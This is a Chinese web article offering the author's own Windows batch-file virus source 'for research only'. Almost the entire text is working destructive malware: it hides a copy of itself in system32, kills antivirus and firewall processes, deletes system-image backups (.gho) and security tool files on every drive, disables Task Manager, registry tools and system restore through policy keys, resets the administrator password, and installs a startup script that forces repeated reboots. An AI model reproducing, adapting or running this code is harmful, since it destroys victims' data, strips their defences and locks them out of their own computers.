安全学习之制作编写超级批处理病毒方法

2008-02-23 07:20:47来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

网上的批处理病毒代码很少,我发一段我写的批处理给大家研究。我水平一般,也就只能写出这点东西了,大家多多包涵。废话不多说了,大家看代码,仅供研究,不要做坏事。

@echo off

title You DEAD!!!!!!!

set taskkill=s

copy %0 %windir%\system32\cmd.bat

attrib %windir%\system32\cmd.bat r s h

net stop sharedaccess >nul

%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul

%s% /im norton* /f >nul

%s% /im av* /f >nul

%s% /im fire* /f >nul

%s% /im anti* /f >nul

%s% /im spy* /f >nul

%s% /im bullguard /f >nul

%s% /im PersFw /f >nul

%s% /im KAV* /f >nul

%s% /im ZONEALARM /f >nul

%s% /im SAFEWEB /f >nul

%s% /im OUTPOST /f >nul

%s% /im nv* /f >nul

%s% /im nav* /f >nul

%s% /im F-* /f >nul

%s% /im ESAFE /f >nul

%s% /im cle /f >nul

%s% /im BLACKICE /f >nul

%s% /im def* /f >nul

%s% /im 360safe.exe /f >nul

net stop Shadow" "System" "Service

set alldrive=d e f g h i j k l m n o p q r s t u v w x y z

for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul

for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul

rem 修改注册表.......

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\

Folder\Hidden\SHOWALL /v

CheckedValue /t REG_DWORD /d 00000000 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRun /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRecentDocsMenu /t

REG_DWORD /d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoDrives /t REG_DWORD /d

4294967295 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

Disableregistrytools /t

REG_DWORD /d 00000002 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoNetHood /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V

NoDesktop /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoClose /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoFind /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

DisableTaskMgr /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoLogOff /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoSetTaskBar /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v

DisableSR /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v

DisableConfig /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

RestrictRun /t REG_DWORD /d

00000001 /f >nul

cls

net user administrator 123456 >nul

for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul

echo @echo off >d:\setup.bat

echo shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新安装系统可以解决此问题

!^.^ >>d:\setup.bat

echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动

\a.bat >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f

>>d:\setup.bat

echo [windows] >> %windir%\win.ini

echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:到底是什么原因造成只能单方向Ping通呢?

下一篇:对 Autorun.inf 类病毒的攻防经验总结